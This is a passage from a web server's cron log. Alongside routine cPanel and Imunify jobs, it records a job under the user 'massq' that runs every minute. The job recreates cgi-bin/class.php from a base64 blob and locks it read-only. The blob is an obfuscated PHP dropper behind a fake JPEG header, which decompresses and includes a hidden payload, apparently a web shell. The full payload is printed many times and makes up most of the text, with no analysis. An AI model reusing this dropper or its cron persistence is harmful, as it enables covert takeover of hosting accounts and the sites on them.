Ck7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:57:01 server CROND[25601]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:58:01 server CROND[25977]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 02:58:01 server CROND[25978]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:58:01 server CROND[25979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:59:01 server CROND[26367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 02:59:01 server CROND[26368]: (root) CMD (/usr/local/cpanel/whostmgr/docroot/cgi/cpaddons_report.pl --notify)
Sep 11 02:59:01 server CROND[26370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 02:59:01 server CROND[26369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:00:01 server CROND[27006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:00:01 server CROND[27007]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 03:00:01 server CROND[27015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:00:01 server CROND[27011]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:00:01 server CROND[27017]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:00:01 server CROND[27020]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 03:00:01 server CROND[27021]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 03:00:01 server CROND[27028]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 03:00:01 server CROND[27030]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:01:01 server CROND[27856]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:01:01 server CROND[27857]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 03:01:01 server CROND[27858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:01:01 server CROND[27859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:01:01 server run-parts(/etc/cron.hourly)[27857]: starting 0anacron
Sep 11 03:01:01 server anacron[27880]: Anacron started on 2026-09-11
Sep 11 03:01:01 server run-parts(/etc/cron.hourly)[27882]: finished 0anacron
Sep 11 03:01:01 server anacron[27880]: Will run job `cron.daily' in 8 min.
Sep 11 03:01:01 server anacron[27880]: Jobs will be executed sequentially
Sep 11 03:02:01 server CROND[28242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:02:01 server CROND[28243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:02:01 server CROND[28244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:03:01 server CROND[28636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:03:01 server CROND[28638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:03:01 server CROND[28637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:04:01 server CROND[29018]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:04:01 server CROND[29017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:04:01 server CROND[29019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:05:01 server CROND[29398]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 03:05:01 server CROND[29399]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 03:05:01 server CROND[29402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:05:01 server CROND[29405]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 03:05:01 server CROND[29404]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 03:05:01 server CROND[29403]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 03:05:01 server CROND[29411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:05:01 server CROND[29412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:06:01 server CROND[30344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:06:01 server CROND[30343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:06:01 server CROND[30345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:07:01 server CROND[30710]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:07:01 server CROND[30712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:07:01 server CROND[30713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:08:01 server CROND[31091]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 03:08:01 server CROND[31092]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:08:01 server CROND[31090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 03:09:01 server CROND[31461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 03:09:01 server CROND[31463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZ